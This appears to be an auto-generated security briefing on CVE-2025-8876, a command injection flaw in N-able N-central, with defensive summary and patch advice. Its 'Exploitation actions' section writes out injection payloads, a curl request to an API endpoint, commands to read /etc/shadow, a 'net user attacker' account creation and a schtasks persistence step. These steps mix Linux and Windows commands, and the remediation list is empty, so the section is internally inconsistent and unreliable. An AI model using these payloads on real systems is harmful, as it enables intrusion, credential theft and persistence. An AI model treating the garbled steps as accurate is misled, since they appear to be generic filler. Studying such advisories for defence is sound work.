N-central: OS Command Injection in N-able N-central (CVE-2025-8876) #shorts
Summary
Welcome to today’s security briefing. In this episode, we’re covering CVE-2025-8876, an OS command injection vulnerability in N-able’s N-central remote monitoring and management platform. Publicly disclosed on August 14, 2025, this flaw is already being leveraged in the wild alongside CVE-2025-8875, affecting over 870 unpatched instances and prompting a CISA advisory.
Product details
N-able N-central is an enterprise-grade RMM solution used by MSPs and IT teams to monitor, manage, and automate IT environments. Versions up to and including 2025.3.0 are impacted; the vendor has released version 2025.3.1 to address this and related issues.
Vulnerability type summary
This issue is classified under CWE-20: Improper Input Validation. It enables OS command injection when unsanitized user input is passed directly to the system shell, allowing attackers to execute arbitrary commands on the underlying server.
Details of the vulnerability
An improper input validation flaw in N-central’s command processing module fails to sanitize special characters and shell metacharacters. An authenticated or partially authenticated attacker can craft a malicious payload that appends additional commands to legitimate ones. Once executed, these commands run with the same privileges as the N-central service, potentially leading to full server compromise. Security teams have observed active exploitation alongside CVE-2025-8875, impacting at least 870 systems worldwide, triggering alerts from CISA and other CERTs.
Conclusion
To mitigate CVE-2025-8876, organizations should upgrade N-central to version 2025.3.1 or later immediately and review access controls around the console. Monitor logs for suspicious command invocations and implement web application firewalls to filter malicious input. Staying current with vendor patches and CISA advisories is key to defending against these active attacks.
Watch the full video on YouTube: CVE-2025-8876
Remediation and exploitation details
This chain involves the following actors
- Malicious Actor: Exploits command injection in the management server
- System Administrator: Patches, configures and monitors the management server
This following systems are involved
- N-able N-central Server (Remote monitoring and management solution): Primary target of command injection
- Managed Device (Endpoint under the server’s control): Secondary target if server is compromised
Attack entry point
- Web Management Console: Input fields (for example, agent name or script parameters) that lack proper filtering of shell metacharacters
- Automation API Endpoint: REST endpoint that accepts JSON parameters for agent tasks without validating against operating system commands
Remediation actions
Exploitation actions
Network scan and banner check to identify vulnerable version
- Send GET /login request and inspect response headers for version string
Inject shell metacharacters into JSON or form data
- {"agentName":"cleanup; ls /etc > /tmp/list.txt;"}
HTTP POST to the API path with crafted body
- curl -X POST https://ncentral/api/agents/install -d '{"agentName":"x; whoami;"}'
Leverage the injection to run shell commands under the service account
- whoami
- cat /etc/shadow
Create a new administrative user or schedule a recurring task
- net user attacker Passw0rd /add
- schtasks /create /tn persist /tr "cmd /c reverse.bat" /sc onstart
Related Content
NOTE: The following related content has not been vetted and may be unsafe.
- https://status.n-able.com/2025/08/13/announcing-the-ga-of-n-central-2025-3-1/
- [2025-08-13] N-able N-Central has a command injection vulnerability due to improper sanitization of user input.
- [2025-08-14] Two vulnerabilities in N-able's N-central RMM solution are being exploited, confirmed by CISA.
- [2025-08-19] Over 870 N-able N-central instances are affected by two exploited vulnerabilities, CVE-2025-8875 and CVE-2025-8876, due to unpatched systems.